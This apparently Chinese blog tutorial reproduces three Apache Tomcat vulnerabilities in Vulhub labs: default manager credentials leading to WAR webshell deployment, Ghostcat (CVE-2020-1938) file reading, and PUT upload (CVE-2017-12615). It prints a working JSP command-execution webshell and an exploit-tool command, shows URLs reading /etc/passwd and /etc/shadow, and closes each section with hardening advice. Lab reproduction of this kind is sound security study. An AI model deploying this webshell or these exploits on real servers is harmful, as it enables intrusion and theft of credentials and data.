Apache Tomcat 漏洞复现

文章目录

  • [Apache Tomcat 漏洞复现](#Apache Tomcat 漏洞复现)
    • [1. Tomcat7 弱密码和后端 Getshell 漏洞](#1. Tomcat7 弱密码和后端 Getshell 漏洞)
      • [1.1 漏洞描述](#1.1 漏洞描述)
      • [1.2 漏洞复现](#1.2 漏洞复现)
      • [1.3 漏洞利用](#1.3 漏洞利用)
        • [1.3.1 jsp小马](#1.3.1 jsp小马)
        • [1.3.2 jsp大马](#1.3.2 jsp大马)
      • [1.4 安全加固](#1.4 安全加固)
    • [2. Aapache Tomcat AJP任意文件读取/包含漏洞](#2. Aapache Tomcat AJP任意文件读取/包含漏洞)
      • [2.1 漏洞描述](#2.1 漏洞描述)
      • [2.1 漏洞复现](#2.1 漏洞复现)
      • [2.2 漏洞利用工具](#2.2 漏洞利用工具)
      • [2.4 修复建议](#2.4 修复建议)
    • [3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞](#3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞)
      • [3.1 漏洞描述](#3.1 漏洞描述)
      • [3.2 漏洞复现](#3.2 漏洞复现)
      • [3.3 漏洞利用](#3.3 漏洞利用)
      • [3.4 修复建议](#3.4 修复建议)

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级 高危
影响范围 8.0
漏洞描述 Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

访问页面

点击管理控制平台

用户名和密码都是tomcat

进入到了tomcat后台项目管理控制台

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

jsp 复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

然后及将打包好的WAR包进行上传即可。

上传成功

访问页面

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

查看权限

env打印环境变量

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马,将其打包成war包后进行上传

上传成功

访问成功

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2020-1938
漏洞名称 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级 高危
影响范围 9.0.30
漏洞描述 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案 打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具:

sh 复制代码
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

查看读取的web.xml文件位置

发现和我们之前读取的文件内容一致

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

然后尝试读取该文件内容

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级 高危
影响范围 8.5.19
漏洞描述 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

访问页面

漏洞检测

使用nuclei漏洞检测工具

复制代码
./nuclei -u 192.168.188.185

3.3 漏洞利用

浏览器路径访问

复制代码
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

测试是否可以查看shadow文件

复制代码
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

测试是否可以执行命令

复制代码
http://127.0.0.1/poc.jsp?cmd=whoami

3.4 修复建议

  1. 禁用 HTTP PUT 方法:为了防止该漏洞的利用,可以在 Tomcat 配置文件中设置 "readonly" 属性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以将 Connector 元素中的 allowTrace 属性设置为 false,禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符:应用程序应该过滤掉特殊字符,如 ".../" 或 "%2e%2e%2f",以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式,限制输入数据的格式和内容。
  3. 路径验证和权限控制:应用程序应该对上传文件的路径进行验证,并限制其访问权限。可以将上传文件保存在特定的目录中,并确保其他用户无法访问该目录。此外,还应该对上传的文件进行扫描和检测,以防止上传恶意文件。
  4. 及时更新软件版本:Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞,并提供了修复版本。因此,建议立即更新受影响的 Tomcat 版本,并实施相应的补丁程序。
  5. 启用安全模式:可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限,并增加对 Web 应用程序的监控和控制。
相关推荐
202321336073 毛敏磊18 小时前
个人总结——网络安全与软件工程综合实践
安全·web安全·软件工程
德迅云安全-甲锵18 小时前
SCDN:以极致节点能力,重塑网络安全与加速新体验
安全·web安全
网安小白的进阶之路18 小时前
B模块 安全通信网络 第二门课IPv6与WLAN 04
网络·安全·智能路由器
CJH(本人账号)18 小时前
AI Agent 安全危机:当你的“智能助手“变成攻击者的“远程武器“
网络·人工智能·安全·ai·开源·github
Whoami!18 小时前
05-【园区】SDN+VXLAN 私有云安全防护架构
网络安全·架构·sdn·拓扑图
ylscode19 小时前
谷歌Gemini Go正式登场:轻量级AI助手让低端手机也能玩转生成式智能
网络·人工智能·安全·chatgpt
许彰午19 小时前
微服务安全上下文的透明传递——ThreadLocal透传与HTTP头转发的完整链路
安全·http·微服务
peterfei19 小时前
ai-agent-scan v1.0.0:基于 MCP 协议的开源 SAST 安全扫描器
安全·ai编程
汽车仪器仪表相关领域19 小时前
南华 NHASM-1 型稳态工况法汽车排气检测系统|国标合规汽油车工况检测专用设备
功能测试·安全·单元测试·汽车·压力测试·可用性测试
云器科技19 小时前
Apache Iceberg-cpp:原生性能架构与演进路线
架构·apache